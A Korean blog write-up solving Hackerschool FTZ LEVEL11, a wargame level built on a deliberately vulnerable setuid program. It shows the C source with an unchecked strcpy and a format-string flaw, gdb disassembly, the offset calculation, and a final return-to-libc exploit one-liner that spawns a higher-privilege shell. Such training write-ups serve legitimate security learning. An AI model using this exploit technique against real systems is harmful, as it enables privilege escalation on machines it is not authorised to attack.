본문 바로가기

Wargame & CTF/Hackerschool FTZ

[해커스쿨] FTZ LEVEL11

[해커스쿨] FTZ LEVEL11 문제 풀이



ㅁ 문제 요약


 문제 유형

System Hacking

 문제 타입

Linux 

 문제 난이도


ㅁ 상세분석


[그림 1] 문제 내용


LEVEL11 계정으로 로그인 하고 hint 파일 내용을 소스코드를 보여주고 /home/level11 폴더에 setuid가 걸린 attackme 파일이 존재한다. 소스 코드에서 버퍼 오버플로우 취약점과 포맷스트링 취약점이 발생한다. LEVEL11 문제는 버퍼 오버플로우 취약점을 이용해서 풀이했다.


#include <stdlib.h>

#include <stdio.h>


int main( int argc, char *argv[] )

{

        char str[256];

 

        setreuid( 3092, 3092 );

        strcpy( str, argv[1] );

        printf( str );

}

[그림 2] 문제 소스코드 분석


소스 코드 분석을 해보면 문제가 발생하는 지점 2곳이 있는데 strcpy 함수 부분에서 버퍼 오버플로우 취약점이 발생하고 printf 함수에서 포맷 스트링 취약점이 발생한다.


Dump of assembler code for function main:

0x08048470 <main+0>:    push   ebp

0x08048471 <main+1>:    mov    ebp,esp

0x08048473 <main+3>:    sub    esp,0x108

0x08048479 <main+9>:    sub    esp,0x8

0x0804847c <main+12>:   push   0xc14

0x08048481 <main+17>:   push   0xc14

0x08048486 <main+22>:   call   0x804834c <setreuid>

0x0804848b <main+27>:   add    esp,0x10

0x0804848e <main+30>:   sub    esp,0x8

0x08048491 <main+33>:   mov    eax,DWORD PTR [ebp+12]

0x08048494 <main+36>:   add    eax,0x4

0x08048497 <main+39>:   push   DWORD PTR [eax]

0x08048499 <main+41>:   lea    eax,[ebp-264]

0x0804849f <main+47>:   push   eax

0x080484a0 <main+48>:   call   0x804835c <strcpy>

0x080484a5 <main+53>:   add    esp,0x10

0x080484a8 <main+56>:   sub    esp,0xc

0x080484ab <main+59>:   lea    eax,[ebp-264]

0x080484b1 <main+65>:   push   eax

0x080484b2 <main+66>:   call   0x804833c <printf>

0x080484b7 <main+71>:   add    esp,0x10

0x080484ba <main+74>:   leave

0x080484bb <main+75>:   ret

0x080484bc <main+76>:   nop

0x080484bd <main+77>:   nop

0x080484be <main+78>:   nop

0x080484bf <main+79>:   nop

End of assembler dump.

[그림 3] main 함수 disassembly


main 함수를 분석하면 빨간색 부분이 문제 풀이의 핵심 부분이다. strcpy 함수를 사용하는데 버퍼 경계 사이즈를 확인하지 않고 사용하기 때문에 버퍼 오버플로우 취약점이 발생한다.


[그림 4] 라이브러리 영역 ASLR 적용 확인


ldd 명령어를 이용해서 라이브러리 영역에도 ASLR이 적용되었는지 확인한 결과 스택 영역은 ASLR 걸려있지만 라이브러리 영역에는 ASLR 걸려있지 않아서 RTL 공격을 시도했다.


[그림 5] SFP/RET 확인


0x08048471 브레이크 포인트를 걸고 A 문자 256개를 입력한다. 브레이크 포인트에서 멈추면 esp를 확인하면 0xbfffec58 값은 SFP를 의미하고 0x42015574 값은 RET를 의미한다. 그리고 0x080484a5에 브레이크 포인트를 걸고 c를 입력해서 계속 진행한다.


[그림 6] RET 거리 계산


0x080484a5에서 멈추게 되는데 다시 esp를 확인한다. 0x41 값은 A를 의미한다. 빨간색 부분이 SFP와 RET를 의미하는데 거리를 계산하면 SFP를 포함해서 256+12 = 268 바이트를 덮어쓰고 남은 RET 4바이트는 system 함수를 넣어 RTL 공격을 수행하면 된다.


[그림 7] system 함수 주소 구하기


gdb에서 print 명령어를 사용해서 system 함수 주소를 구한다.


[그림 8] /bin/sh 문자열 주소 구하기


system 함수에서 사용하는 /bin/sh 문자열 주소를 구한다.


[그림 9] 공격 코드 구조


공격 코드를 연결해보면 system 함수 주소를 RET 위치에 넣어주고 4바이트 dummy 값을 넣어주고 /bin/sh 값을 넘겨준다. 최종 공격코드는 아래와 같다.

공격 코드: ./attackme `python -c  'print "A"*268+"\xc0\xf2\x03\x42"+"AAAA"+"\xa4\x7e\x12\x42"'`


[그림 10] 문제 결과


공격 코드를 입력하면 LEVEL12 권한의 shell을 획득하고 my-pass 입력하면 LEVEL12 계정의 패스워드를 획득할 수 있다.



'Wargame & CTF > Hackerschool FTZ' 카테고리의 다른 글

[해커스쿨] FTZ LEVEL13  (0) 2016.01.04
[해커스쿨] FTZ LEVEL12  (0) 2016.01.04
[해커스쿨] FTZ LEVEL10  (0) 2015.12.31
[해커스쿨] FTZ LEVEL9  (0) 2015.12.30
[해커스쿨] FTZ LEVEL8  (0) 2015.12.30